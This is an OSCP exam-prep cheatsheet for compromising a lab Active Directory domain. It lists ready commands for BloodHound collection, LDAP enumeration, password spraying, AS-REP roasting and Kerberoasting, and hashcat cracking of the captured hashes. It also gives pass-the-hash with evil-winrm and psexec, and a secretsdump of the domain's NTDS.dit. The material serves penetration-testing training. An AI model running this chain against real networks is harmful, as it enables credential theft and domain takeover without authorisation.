OSCP Active Directory Attacks Cheatsheet: Enumeration, Kerberoasting & Lateral Movement
Target Audience: OSCP candidates tackling the mandatory 40-point Active Directory exam set
Do NOT spend more than 2 hours manual enumerating AD. If you obtain initial domain credentials, run BloodHound-python immediately and import the zip into your local BloodHound GUI to identify shortest paths to Domain Admin.
# Active Directory Reconnaissance & BloodHound Collection
In the modern OSCP exam, Active Directory accounts for 40 points (mandatory domain controller takeover). Swift automated enumeration without tripping defensive barriers is paramount.
# 1. BloodHound Python Remote Collection
bloodhound-python -u 'offsec_user' -p 'P@ssw0rd123!' -d 'corp.local' -dc 'dc01.corp.local' -ns 192.168.10.10 -c All
# 2. LDAP Anonymous / User Bind Enumeration
ldapsearch -x -H ldap://192.168.10.10 -b "dc=corp,dc=local" "(objectClass=user)" sAMAccountName
# 3. NetExec (formerly CrackMapExec) SMB & User Spraying
netexec smb 192.168.10.0/24 -u users.txt -p 'Welcome2026!' --continue-on-success# Kerberoasting & AS-REP Roasting for Domain Hashes
Extracting service tickets (SPNs) and unconstrained Kerberos pre-authentication accounts allows offline hash cracking with hashcat without touching the Domain Controller console.
# 1. AS-REP Roasting (No Kerberos Pre-Auth)
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
# 2. Kerberoasting SPN Service Accounts
impacket-GetUserSPNs 'corp.local/offsec_user:P@ssw0rd123!' -dc-ip 192.168.10.10 -request -outputfile kerberoast_hashes.txt
# 3. Offline Hash Cracking
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule# Lateral Movement: WinRM, Pass-the-Hash & PsExec
Once local administrator or domain credentials are recovered, pivot between machines using standard remote management protocols accepted during OSCP scoring.
# 1. Pass-the-Hash with Evil-WinRM
evil-winrm -i 192.168.10.20 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c'
# 2. PsExec with NTLM Hash
impacket-psexec -hashes :8846f7eaee8fb117ad06bdd830b7586c Administrator@192.168.10.20
# 3. Dump NTDS.dit via Secretsdump (DC Takeover - 40 Points)
impacket-secretsdump 'corp.local/DomainAdmin:AdminPass!'@192.168.10.10 -just-dc-ntlm